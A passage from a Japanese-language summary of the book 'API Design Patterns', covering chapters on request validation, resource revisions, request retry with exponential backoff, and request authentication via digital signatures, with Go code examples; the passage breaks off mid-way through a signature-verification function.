、エラー処理戦略、リトライポリシーなど、APIの基本的な設計原則に影響を与えます。したがって、リクエスト重複排除メカニズムの導入を検討する際は、APIの全体的な設計哲学との整合性を慎重に評価し、必要に応じて調整を行うことが重要です。このような包括的なアプローチを取ることで、リクエスト重複排除は単なる技術的な解決策を超え、システム全体の品質と信頼性を向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より堅牢で効率的、そして信頼性の高いシステムを構築することができるでしょう。27 Request validation「API Design Patterns」の第27章「Request validation」は、APIにおけるリクエスト検証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト検証が単なる便利機能ではなく、APIの安全性、信頼性、そして全体的なユーザー体験にどのように影響を与えるかを明確に示しています。リクエスト検証の必要性と概要著者は、APIの複雑さとそれに伴う誤用のリスクから議論を始めています。最も単純に見えるAPIでさえ、その内部動作は複雑であり、ユーザーが意図した通りに動作するかどうかを事前に確認することは困難です。特に、本番環境で未検証のリクエストを実行することのリスクは高く、著者はこれを車の修理に例えています。素人が車をいじることで深刻な問題を引き起こす可能性があるのと同様に、未検証のAPIリクエストは本番システムに予期せぬ影響を与える可能性があります。この問題に対処するため、著者はvalidateOnlyフィールドの導入を提案しています。これは、リクエストを実際に実行せずに検証のみを行うためのフラグです。この機能により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題を事前に把握することができます。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが相互に依存し合う複雑なシステムでは、一つの誤ったリクエストが連鎖的に問題を引き起こす可能性があります。リクエスト検証を適切に実装することで、このようなリスクを大幅に軽減し、システム全体の安定性と信頼性を向上させることができます。著者は、リクエスト検証の基本的な流れを以下のように提案しています。クライアントがvalidateOnly: trueフラグを含むリクエストを送信する。サーバーはリクエストを通常通り処理するが、実際のデータ変更や副作用を伴う操作は行わない。サーバーは、実際のリクエストが行われた場合と同様のレスポンスを生成し、返却する。この方法により、ユーザーは安全にリクエストの結果をプレビューし、潜在的な問題(権限不足、データの不整合など)を事前に把握することができます。リクエスト検証の実装著者は、リクエスト検証の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。validateOnlyフラグ: リクエストオブジェクトにオプションのブーリアンフィールドとして追加します。デフォルトはfalseであるべきです。検証の範囲: 可能な限り多くの検証を行うべきです。これには、権限チェック、データの整合性チェック、参照整合性チェックなどが含まれます。外部依存関係の扱い: 外部サービスとの通信が必要な場合、それらのサービスが検証モードをサポートしていない限り、その部分の検証は省略する必要があります。レスポンスの生成: 実際のリクエストと同様のレスポンスを生成すべきです。ただし、サーバー生成の識別子などの一部のフィールドは空白または仮の値で埋める必要があります。安全性とべき等性: 検証リクエストは常に安全(データを変更しない)かつべき等(同じリクエストで常に同じ結果を返す)であるべきです。これらの原則を適用した、Golangでのリクエスト検証の実装例を以下に示します。type CreateChatRoomRequest struct { Resource ChatRoom `json:\\"resource\\"` ValidateOnly bool `json:\\"validateOnly,omitempty\\"`}func (s *Service) CreateChatRoom(ctx context.Context, req CreateChatRoomRequest) (*ChatRoom, error) { if err := s.validateCreateChatRoom(ctx, req); err != nil { return nil, err } if req.ValidateOnly { return &ChatRoom{ ID: \\"placeholder-id\\", Name: req.Resource.Name, // その他のフィールド }, nil } // 実際のリソース作成ロジック return s.actuallyCreateChatRoom(ctx, req.Resource)}func (s *Service) validateCreateChatRoom(ctx context.Context, req CreateChatRoomRequest) error { // 権限チェック if err := s.checkPermissions(ctx, \\"create_chat_room\\"); err != nil { return err } // データ検証 if err := validateChatRoomData(req.Resource); err != nil { return err } // 外部依存関係のチェック(可能な場合) // ... return nil}この実装例では、validateOnlyフラグに基づいて実際の処理を行うかどうかを制御しています。検証フェーズは常に実行され、エラーがある場合は早期に返却されます。検証モードの場合、実際のリソース作成は行わず、プレースホルダーのレスポンスを返します。リクエスト検証の影響とトレードオフ著者は、リクエスト検証の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。複雑性の増加: リクエスト検証機能の追加は、APIの複雑性を増加させます。これは、実装とテストの負担を増やす可能性があります。パフォーマンスへの影響: 検証リクエストは、実際の処理を行わないため一般的に高速ですが、大量の検証リクエストがあった場合、システムに負荷をかける可能性があります。外部依存関係の扱い: 外部サービスとの連携が必要な場合、完全な検証が難しくなる可能性があります。これは、システムの一部の動作を正確に予測できなくなることを意味します。不確定な結果の扱い: ランダム性や時間依存の処理を含むリクエストの検証は、実際の結果を正確に予測することが難しい場合があります。これらのトレードオフを適切に管理することが、リクエスト検証の成功的な実装の鍵となります。例えば、外部依存関係の扱いについては、モックやスタブを使用して可能な限り現実的な検証を行うことが考えられます。また、不確定な結果については、可能な結果の範囲を示すなど、ユーザーに適切な情報を提供することが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。リスク管理とコスト削減: リクエスト検証は、本番環境での不適切なリクエストによるリスクを大幅に軽減します。これは、特に金融系のAPIや重要なデータを扱うシステムで非常に重要です。開発効率の向上: 開発者がAPIの動作を事前に確認できることで、開発サイクルが短縮され、品質が向上します。これは、特に複雑なマイクロサービス環境で重要です。ドキュメンテーションの補完: リクエスト検証は、動的なドキュメンテーションの一形態と見なすこともできます。開発者は、APIの動作を実際に試すことで、ドキュメントだけでは分かりにくい細かな挙動を理解できます。セキュリティの強化: 検証モードを使用することで、潜在的な脆弱性や不適切なアクセス試行を事前に発見できる可能性があります。これは、セキュリティ監査の一部として活用できます。運用の簡素化: 本番環境での問題を事前に回避できることで、インシデント対応の頻度が減少し、運用負荷が軽減されます。段階的なデプロイメント戦略との統合: 新機能のロールアウト時に、検証モードを活用して潜在的な問題を早期に発見することができます。これは、カナリアリリースやブルー/グリーンデプロイメントなどの戦略と組み合わせて効果的です。リクエスト検証とシステムアーキテクチャリクエスト検証の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。マイクロサービスアーキテクチャでの実装: 複数のサービスにまたがるリクエストの検証は、特に注意が必要です。サービス間の依存関係を考慮し、整合性のある検証結果を提供する必要があります。キャッシュ戦略: 検証リクエストの結果をキャッシュすることで、パフォーマンスを向上させることができます。ただし、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。非同期処理との統合: 長時間実行される操作や非同期処理を含むシステムでは、検証モードの動作を慎重に設計する必要があります。例えば、非同期処理の予測される結果をシミュレートする方法を考える必要があります。モニタリングと可観測性: 検証リクエストの使用パターンや頻度を監視することで、APIの使用状況や潜在的な問題をより深く理解できます。これらの指標は、システムの最適化やユーザビリティの向上に活用できます。テスト戦略: リクエスト検証機能自体もテストの対象となります。特に、実際の処理と検証モードの結果の一貫性を確保するためのテスト戦略が重要です。結論第27章「Request validation」は、APIにおけるリクエスト検証の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの安全性、信頼性、そして全体的なユーザー体験を大きく向上させる可能性があります。特に重要な点は以下の通りです。リクエスト検証は、APIの複雑さに起因するリスクを軽減する重要なメカニズムです。validateOnlyフラグを使用することで、ユーザーは安全にリクエストの結果をプレビューできます。検証リクエストは、可能な限り実際のリクエストと同様の処理を行いますが、データの変更や副作用を伴う操作は避けるべきです。外部依存関係や不確定な結果を含むリクエストの検証には特別な配慮が必要です。リクエスト検証の導入には、複雑性の増加やパフォーマンスへの影響などのトレードオフがありますが、それらを上回る価値を提供する可能性があります。これらの原則を適切に適用することで、開発者はより安全で信頼性の高いAPIを設計することができます。特に、重要なデータを扱うシステムや複雑なマイクロサービスアーキテクチャを採用している環境では、リクエスト検証の適切な実装が極めて重要です。しかし、リクエスト検証の導入には慎重な検討も必要です。特に、パフォーマンス、複雑性の管理、外部依存関係の扱いなどの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リクエスト検証の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリクエストの安全性を向上させるだけでなく、システム全体の信頼性、運用効率、そして開発生産性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト検証の適切な実装は、システムの回復力を高め、開発サイクルを短縮し、ユーザー体験を向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で使いやすいシステムを構築することができるでしょう。特に、急速に変化するビジネス要件や複雑な技術スタックを持つ現代のソフトウェア開発環境において、リクエスト検証は重要な役割を果たす可能性があります。最後に、リクエスト検証は単なる技術的な機能ではなく、APIの設計哲学を反映するものでもあります。これは、ユーザーフレンドリーなインターフェース、透明性、そして予測可能性への commitment を示しています。適切に実装されたリクエスト検証機能は、API提供者とその消費者の間の信頼関係を強化し、より効果的なコラボレーションを促進します。この機能は、「フェイルファスト」の原則とも整合しており、問題を早期に発見し、修正するための強力なツールとなります。開発者は、本番環境に変更をデプロイする前に、その影響を安全に評価することができます。これにより、イテレーションのサイクルが短縮され、イノベーションのペースが加速する可能性があります。また、リクエスト検証は、APIのバージョニングや進化の戦略とも密接に関連しています。新しいバージョンのAPIをリリースする際、開発者は検証モードを使用して、既存のクライアントへの影響を事前に評価することができます。これにより、破壊的な変更のリスクを最小限に抑えつつ、APIを継続的に改善することが可能になります。さらに、この機能は、APIの教育的側面も持っています。開発者は、検証モードを通じてAPIの動作を実験的に学ぶことができ、これがドキュメントを補完する動的な学習ツールとなります。これは、API の採用を促進し、正しい使用法を奨励することにつながります。最終的に、リクエスト検証の実装は、API設計者がユーザーの視点に立ち、その経験を常に考慮していることを示す象徴的な機能と言えるでしょう。これは、単に機能を提供するだけでなく、ユーザーの成功を積極的に支援するという、より広範なAPI設計哲学の一部となります。このような包括的なアプローチを取ることで、リクエスト検証は単なる技術的機能を超え、APIの品質、信頼性、そして全体的な価値を大きく向上させる重要な要素となります。API設計者とシステムアーキテクトは、この機能の重要性を認識し、適切に実装することで、より使いやすく、信頼性が高く、そして継続的な進化が可能なAPIを構築することができるでしょう。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。28 Resource revisions「API Design Patterns」の第28章「Resource revisions」は、APIにおけるリソースのリビジョン管理の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソースリビジョンが単なる機能の追加ではなく、APIの柔軟性、データの整合性、そして全体的なシステムの運用性にどのように影響を与えるかを明確に示しています。この章では、リソースの変更履歴を安全に保存し、過去の状態を取得または復元する方法について説明しています。具体的には、個々のリビジョンの識別方法、リビジョンの作成戦略(暗黙的または明示的)、利用可能なリビジョンのリスト化と特定のリビジョンの取得方法、以前のリビジョンへの復元の仕組み、そしてリビジョン可能なリソースの子リソースの扱い方について詳しく解説しています。リソースリビジョンの必要性と概要著者は、リソースリビジョンの必要性から議論を始めています。多くのAPIでは、リソースの現在の状態のみを保持し、過去の変更履歴を無視しています。しかし、契約書、購買注文書、法的文書、広告キャンペーンなどのリソースでは、変更履歴を追跡する必要性が高くなります。これにより、問題が発生した際に、どの変更が原因であるかを特定しやすくなります。リソースリビジョンの概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、各サービスが管理するリソースの変更履歴を適切に追跡し、必要に応じて過去の状態を参照または復元できることが、システム全体の一貫性と信頼性を確保する上で重要になります。著者は、リソースリビジョンの基本的な構造として、既存のリソースに2つの新しいフィールドを追加することを提案しています。revisionId: リビジョンの一意の識別子revisionCreateTime: リビジョンが作成された時刻これらのフィールドを追加することで、リソースの複数のスナップショットを時系列で管理できるようになります。これにより、リソースの変更履歴を追跡し、必要に応じて過去の状態を参照または復元することが可能になります。この概念を視覚的に表現するために、著者は以下のような図を提示しています。Figure 28.1 Adding support for revisions to a Message resourceこの図は、通常のMessageリソースにrevisionIdとrevisionCreateTimeフィールドを追加することで、リビジョン管理をサポートする方法を示しています。リソースリビジョンの実装著者は、リソースリビジョンの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。リビジョン識別子: リビジョンの一意性を確保するために、ランダムな識別子(例:UUID)を使用することを推奨しています。これにより、リビジョンの順序や時間に依存せずに、各リビジョンを一意に識別できます。リビジョンの作成戦略: 著者は、暗黙的なリビジョン作成(リソースが変更されるたびに自動的に新しいリビジョンを作成)と明示的なリビジョン作成(ユーザーが明示的にリビジョンの作成を要求)の2つの戦略を提案しています。各アプローチにはそれぞれ長所と短所があり、システムの要件に応じて選択する必要があります。リビジョンの取得と一覧表示: 特定のリビジョンを取得するためのメソッドと、利用可能なリビジョンを一覧表示するためのメソッドの実装について説明しています。これらのメソッドにより、ユーザーはリソースの変更履歴を参照し、必要に応じて特定の時点の状態を取得できます。リビジョンの復元: 以前のリビジョンの状態にリソースを戻すための復元操作の実装方法を解説しています。この操作は、誤った変更を元に戻したり、特定の時点の状態に戻したりする際に重要です。子リソースの扱い: リビジョン可能なリソースが子リソースを持つ場合の取り扱いについても議論しています。子リソースをリビジョンに含めるかどうかは、システムの要件やパフォーマンスの考慮事項に応じて決定する必要があります。これらの原則を適用した、Golangでのリソースリビジョンの実装例を以下に示します。type Resource struct { ID string `json:\\"id\\"` Content string `json:\\"content\\"` RevisionID string `json:\\"revisionId\\"` RevisionCreateTime time.Time `json:\\"revisionCreateTime\\"`}type ResourceService interface { GetResource(ctx context.Context, id string, revisionID string) (*Resource, error) ListResourceRevisions(ctx context.Context, id string) ([]*Resource, error) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) RestoreResourceRevision(ctx context.Context, id string, revisionID string) (*Resource, error)}func (s *resourceService) CreateResourceRevision(ctx context.Context, id string) (*Resource, error) { resource, err := s.getLatestResource(ctx, id) if err != nil { return nil, err } newRevision := &Resource{ ID: resource.ID, Content: resource.Content, RevisionID: generateUUID(), RevisionCreateTime: time.Now(), } if err := s.saveRevision(ctx, newRevision); err != nil { return nil, err } return newRevision, nil}この実装例では、Resource構造体にリビジョン関連のフィールドを追加し、ResourceServiceインターフェースでリビジョン管理に関連するメソッドを定義しています。CreateResourceRevisionメソッドは、新しいリビジョンを作成し、保存する処理を示しています。リソースリビジョンの影響とトレードオフ著者は、リソースリビジョンの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。ストレージ使用量の増加: リビジョンを保存することで、ストレージの使用量が大幅に増加します。特に、頻繁に変更されるリソースや大規模なリソースの場合、この影響は無視できません。パフォーマンスへの影響: リビジョンの作成や取得には追加のオーバーヘッドが発生します。特に、大量のリビジョンが存在する場合、リビジョンの一覧表示や特定のリビジョンの取得に時間がかかる可能性があります。複雑性の増加: リビジョン管理機能の追加により、APIの複雑性が増加します。これは、開発者の学習曲線を急にし、バグの可能性を増やす可能性があります。一貫性の課題: 特に分散システムにおいて、リビジョンの一貫性を維持することは難しい場合があります。例えば、複数のサービスにまたがるリソースの場合、全体的な一貫性を確保するのが困難になる可能性があります。リビジョン管理のオーバーヘッド: リビジョンの保持期間、古いリビジョンの削除ポリシー、リビジョン数の制限など、追加的な管理タスクが発生します。これらのトレードオフを適切に管理することが、リソースリビジョンの成功的な実装の鍵となります。例えば、ストレージ使用量の増加に対しては、圧縮技術の使用や、重要でないリビジョンの定期的な削除などの戦略が考えられます。パフォーマンスへの影響に関しては、効率的なインデックス設計や、必要に応じてキャッシュを活用することで軽減できる可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。監査とコンプライアンス: リソースリビジョンは、変更履歴の追跡が必要な規制環境(金融サービス、医療情報システムなど)で特に重要です。変更の誰が、いつ、何をしたかを正確に記録し、必要に応じて過去の状態を再現できることは、コンプライアンス要件を満たす上で不可欠です。障害復旧とロールバック: リビジョン管理は、システム障害や人為的ミスからの復旧を容易にします。特定の時点の状態に戻すことができるため、データの損失やシステムの不整合を最小限に抑えることができます。分散システムでの一貫性: マイクロサービスアーキテクチャにおいて、リソースリビジョンは分散システム全体の一貫性を維持する上で重要な役割を果たします。例えば、複数のサービスにまたがるトランザクションを、各サービスのリソースリビジョンを用いて追跡し、必要に応じて補償トランザクションを実行することができます。A/Bテストと段階的ロールアウト: リビジョン管理機能は、新機能の段階的なロールアウトやA/Bテストの実施を容易にします。特定のユーザーグループに対して特定のリビジョンを提供することで、変更の影響を慎重に評価できます。パフォーマンス最適化: リビジョン管理の実装には、効率的なデータ構造とアルゴリズムの選択が重要です。例えば、差分ベースのストレージを使用して、リビジョン間の変更のみを保存することで、ストレージ使用量を最適化できます。セキュリティとアクセス制御: リビジョン管理を導入する際は、各リビジョンへのアクセス制御を適切に設計する必要があります。特に、機密情報を含むリビジョンへのアクセスを制限し、監査ログを維持することが重要です。APIの進化とバージョニング: リソースリビジョンの概念は、APIそのもののバージョニング戦略と関連付けて考えることができます。APIの各バージョンを、特定の時点でのリソース定義のリビジョンとして扱うことで、APIの進化をより体系的に管理できる可能性があります。リソースリビジョンとシステムアーキテクチャリソースリビジョンの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: リビジョン管理をサポートするために、データベーススキーマの設計を適切に行う必要があります。例えば、メインのリソーステーブルとは別にリビジョンテーブルを作成し、効率的にクエリできるようにインデックスを設計することが重要です。キャッシュ戦略: リビジョン管理は、キャッシュ戦略に影響を与えます。特定のリビジョンをキャッシュする場合、キャッシュの有効期限や更新戦略を慎重に設計する必要があります。イベントソーシングとCQRS: リソースリビジョンの概念は、イベントソーシングやCQRS(Command Query Responsibility Segregation)パターンと親和性が高いです。これらのパターンを組み合わせることで、より柔軟で拡張性の高いシステムを構築できる可能性があります。バックアップと災害復旧: リビジョン管理機能は、バックアップと災害復旧戦略に組み込むことができます。特定の時点のシステム全体の状態を、各リソースの適切なリビジョンを用いて再構築することが可能になります。マイクロサービス間の整合性: 複数のマイクロサービスにまたがるリソースの場合、リビジョン管理を通じてサービス間の整合性を維持することができます。例えば、分散トランザクションの代わりに、各サービスのリソースリビジョンを用いた補償トランザクションを実装することが考えられます。結論第28章「Resource revisions」は、APIにおけるリソースリビジョン管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、データの整合性、そして全体的なシステムの運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソースリビジョンは、変更履歴の追跡、過去の状態の参照、誤った変更のロールバックを可能にする強力な機能です。リビジョン管理の実装には、リビジョン識別子の設計、リビジョン作成戦略の選択、リビジョンの取得と一覧表示、復元機能の実装など、多くの考慮事項があります。リソースリビジョンの導入には、ストレージ使用量の増加、パフォーマンスへの影響、複雑性の増加などのトレードオフがあります。これらを適切に管理することが重要です。リビジョン管理は、監査とコンプライアンス、障害復旧とロールバック、分散システムでの一貫性維持など、多くの実践的な応用が可能です。リソースリビジョンの設計は、データモデル、キャッシュ戦略、イベントソーシング、バックアップと災害復旧など、システム全体のアーキテクチャに大きな影響を与えます。これらの原則を適切に適用することで、開発者はより柔軟で信頼性の高いAPIを設計することができます。特に、変更履歴の追跡が重要な環境や、複雑な分散システムでは、リソースリビジョンの適切な実装が極めて重要です。しかし、リソースリビジョンの導入には慎重な検討も必要です。特に、ストレージ使用量の増加、パフォーマンスへの影響、システムの複雑性の増加などの観点から、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、リソースリビジョンの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単に個々のリソースの変更履歴を管理するだけでなく、システム全体の一貫性、信頼性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リソースリビジョンの適切な実装は、システムの回復力を高め、データの整合性を保護し、変更管理を容易にする可能性があります。特に、マイクロサービスアーキテクチャやクラウドネイティブな環境では、この機能の重要性がより顕著になります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。リソースリビジョン管理は、単なる技術的機能を超えて、システム全体の品質と信頼性を向上させる重要な要素となります。適切に実装されたリビジョン管理システムは、変更の追跡、問題の診断、そして迅速な復旧を可能にし、結果としてシステムの運用性と信頼性を大きく向上させます。さらに、この機能は、コンプライアンス要件の遵守、データガバナンスの強化、そして長期的なシステム進化の管理にも貢献します。API設計者とシステムアーキテクトは、リソースリビジョン管理の重要性を認識し、適切に実装することで、より堅牢で効率的、そして将来の変化に適応可能なシステムを構築することができます。これは、急速に変化し、常に新しい課題が生まれる現代のソフトウェア開発環境において、特に重要な価値となります。29 Request retrial\\"API Design Patterns\\" の第29章「Request retrial」は、API リクエストの再試行に関する重要な概念と実装方法について詳細に論じています。この章では、失敗したAPIリクエストのうち、どれを安全に再試行できるか、リトライのタイミングに関する高度な指数関数的バックオフ戦略、「雪崩現象」を回避する方法、そしてAPIがクライアントにリトライのタイミングを指示する方法について説明しています。リクエスト再試行の必要性と概要著者は、Web APIにおいてリクエストの失敗は避けられない現実であることを指摘することから議論を始めています。失敗の原因には、クライアント側のエラーや、APIサーバー側の一時的な問題など、様々なものがあります。特に後者の場合、同じリクエストを後で再試行することで問題が解決する可能性があります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、ネットワークの不安定性やサービスの一時的な障害が頻繁に発生する可能性があるため、適切な再試行メカニズムは、システム全体の信頼性と回復力を大幅に向上させる可能性があります。著者は、再試行可能なリクエストを識別し、適切なタイミングで再試行を行うための2つの主要なアプローチを提案しています。クライアント側の再試行タイミング(指数関数的バックオフ)サーバー指定の再試行タイミングこれらのアプローチは、システムの効率性を最大化しつつ、不要な再試行を最小限に抑えるという目標を達成するために設計されています。クライアント側の再試行タイミング著者は、クライアント側の再試行戦略として、指数関数的バックオフアルゴリズムを推奨しています。このアルゴリズムは、再試行の間隔を徐々に増やしていくことで、システムに過度の負荷をかけることなく、再試行の成功確率を高めます。指数関数的バックオフの基本的な実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second time.Sleep(delay) } return err}しかし、著者はこの基本的な実装にいくつかの重要な改良を加えることを提案しています。最大遅延時間の設定: 再試行の間隔が無限に長くなることを防ぐため。最大再試行回数の設定: 無限ループを防ぐため。ジッター(ランダムな遅延)の追加: 「雪崩現象」を防ぐため。これらの改良を加えた、より洗練された実装は以下のようになります。func retryWithExponentialBackoff(operation func() error, maxRetries int, maxDelay time.Duration) error { var err error for attempt := 0; attempt < maxRetries; attempt++ { err = operation() if err == nil { return nil } delay := time.Duration(math.Pow(2, float64(attempt))) * time.Second if delay > maxDelay { delay = maxDelay } jitter := time.Duration(rand.Float64() * float64(time.Second)) time.Sleep(delay + jitter) } return err}この実装は、システムの回復力を高めつつ、不必要な負荷を避けるバランスの取れたアプローチを提供します。サーバー指定の再試行タイミング著者は、APIサーバーが再試行のタイミングを明示的に指定できる場合があることを指摘しています。これは主に、サーバーが特定の情報(例:レート制限のリセットタイミング)を持っている場合に有用です。この目的のために、著者はHTTPの\\"Retry-After\\"ヘッダーの使用を推奨しています。このヘッダーを使用することで、サーバーは正確な再試行タイミングをクライアントに伝えることができます。func handleRateLimitedRequest(w http.ResponseWriter, r *http.Request) { if isRateLimited(r) { retryAfter := calculateRetryAfter() w.Header().Set(\\"Retry-After\\", strconv.Itoa(int(retryAfter.Seconds()))) w.WriteHeader(http.StatusTooManyRequests) return } // 通常の処理を続行}クライアント側では、このヘッダーを検出し、指定された時間だけ待機してからリクエストを再試行します。func sendRequestWithRetry(client *http.Client, req *http.Request) (*http.Response, error) { resp, err := client.Do(req) if err != nil { return nil, err } if resp.StatusCode == http.StatusTooManyRequests { retryAfter := resp.Header.Get(\\"Retry-After\\") if retryAfter != \\"\\" { seconds, _ := strconv.Atoi(retryAfter) time.Sleep(time.Duration(seconds) * time.Second) return sendRequestWithRetry(client, req) } } return resp, nil}この手法は、サーバーの状態や制約に基づいて、より正確で効率的な再試行戦略を実現します。再試行可能なリクエストの判断著者は、全てのエラーが再試行可能なわけではないという重要な点を強調しています。再試行可能なエラーとそうでないエラーを区別することは、効果的な再試行戦略の鍵となります。一般的に、以下のようなガイドラインが提示されています。再試行可能: 408 (Request Timeout), 429 (Too Many Requests), 503 (Service Unavailable) など。これらは一時的な問題を示唆しています。再試行不可能: 400 (Bad Request), 403 (Forbidden), 404 (Not Found) など。これらは永続的な問題を示唆しています。条件付き再試行可能: 500 (Internal Server Error), 502 (Bad Gateway), 504 (Gateway Timeout) など。これらは状況に応じて再試行可能かどうかが変わります。この区別は、システムの効率性と信頼性を維持する上で重要です。不適切な再試行は、システムリソースの無駄遣いや、意図しない副作用を引き起こす可能性があります。実践的な応用と考察この章の内容は、実際のAPI設計と運用において非常に重要です。特に以下の点が重要になります。システムの回復力: 適切な再試行メカニズムは、一時的な障害から自動的に回復するシステムの能力を大幅に向上させます。これは特に、マイクロサービスアーキテクチャのような分散システムにおいて重要です。効率的なリソース利用: 指数関数的バックオフやサーバー指定の再試行タイミングを使用することで、システムリソースを効率的に利用しつつ、再試行の成功確率を最大化できます。ユーザーエクスペリエンス: エンドユーザーの視点からは、適切な再試行メカニズムは、一時的な問題を自動的に解決し、シームレスなエクスペリエンスを提供します。運用の簡素化: 適切に設計された再試行メカニズムは、手動介入の必要性を減らし、運用タスクを簡素化します。モニタリングと可観測性: 再試行の頻度や成功率を監視することで、システムの健全性や潜在的な問題を把握するための貴重な洞察が得られます。結論第29章「Request retrial」は、APIにおけるリクエスト再試行の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、システムの信頼性、効率性、そして全体的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。全てのエラーが再試行可能なわけではありません。エラーの性質を慎重に評価し、適切に再試行可能なものを識別することが重要です。指数関数的バックオフは、効果的な再試行戦略の基礎となります。ただし、最大遅延時間、最大再試行回数、ジッターなどの改良を加えることで、より堅牢な実装が可能になります。サーバー指定の再試行タイミング(Retry-Afterヘッダー)は、特定のシナリオにおいて非常に有効です。これにより、より正確で効率的な再試行が可能になります。再試行メカニズムは、システムの回復力、効率性、ユーザーエクスペリエンス、運用性を向上させる重要なツールです。再試行の実装には、システム全体のアーキテクチャと運用プラクティスとの整合性が必要です。これらの原則を適切に適用することで、開発者はより信頼性が高く、効率的なAPIを設計することができます。特に、分散システムやクラウドネイティブ環境では、適切な再試行メカニズムの実装が極めて重要です。最後に、リクエスト再試行の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にエラーハンドリングを改善するだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。リクエスト再試行の適切な実装は、システムの回復力を高め、一時的な障害の影響を最小限に抑え、全体的なユーザーエクスペリエンスを向上させる可能性があります。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で信頼性の高いシステムを構築することができるでしょう。30 Request authentication「API Design Patterns」の第30章「Request authentication」は、APIにおけるリクエスト認証の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリクエスト認証が単なるセキュリティ機能の追加ではなく、APIの信頼性、完全性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。リクエスト認証の必要性と概要著者は、APIリクエストの認証に関する基本的な疑問から議論を始めています。「与えられたインバウンドAPIリクエストが、実際に認証されたユーザーからのものであることをどのように判断できるか?」この問いに答えるために、著者は3つの重要な要件を提示しています。オリジン(Origin): リクエストが主張する送信元から本当に来たものかどうかを確認する能力。完全性(Integrity): リクエストの内容が送信後に改ざんされていないことを確認する能力。否認防止(Non-repudiation): 送信者が後からリクエストの送信を否定できないようにする能力。これらの要件は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。分散システムでは、サービス間の通信の信頼性と完全性を確保することが不可欠であり、これらの要件を満たすことで、システム全体のセキュリティと信頼性が大幅に向上します。著者は、これらの要件を満たすソリューションとして、デジタル署名の使用を提案しています。デジタル署名は、公開鍵暗号方式を利用した非対称な認証メカニズムで、以下の特性を持ちます。署名の生成に使用する秘密鍵と、検証に使用する公開鍵が異なる。署名はメッセージの内容に依存するため、メッセージの完全性を保証できる。秘密鍵の所有者のみが有効な署名を生成できるため、否認防止が可能。Request authenticationはそこそこに入り組んだ分野でもあるのでセキュア・バイ・デザインなどもオススメです。syu-m-5151.hatenablog.comデジタル署名の実装著者は、デジタル署名を用いたリクエスト認証の実装に関して詳細なガイダンスを提供しています。主なステップは以下の通りです。クレデンシャルの生成: ユーザーは公開鍵と秘密鍵のペアを生成します。登録とクレデンシャル交換: ユーザーは公開鍵をAPIサービスに登録し、一意の識別子を受け取ります。リクエストの署名: ユーザーは秘密鍵を使用してリクエストに署名します。署名の検証: APIサーバーは公開鍵を使用して署名を検証し、リクエストを認証します。これらのステップを実装するためのGoのコード例を以下に示します。import ( \\"crypto\\" \\"crypto/rand\\" \\"crypto/rsa\\" \\"crypto/sha256\\" \\"encoding/base64\\")// クレデンシャルの生成func generateCredentials() (*rsa.PrivateKey, error) { return rsa.GenerateKey(rand.Reader, 2048)}// リクエストの署名func signRequest(privateKey *rsa.PrivateKey, request []byte) ([]byte, error) { hashed := sha256.Sum256(request) return rsa.SignPKCS1v15(rand.Reader, privateKey, crypto.SHA256, hashed[:])}// 署名の検証func verifySignature(publicKey *rsa.PublicKey, request []byte, signature []byte) error { hashed := sha256.Sum256(request) return rsa.VerifyPKCS1v15(publicKey, crypto.SHA256, hashed[:], 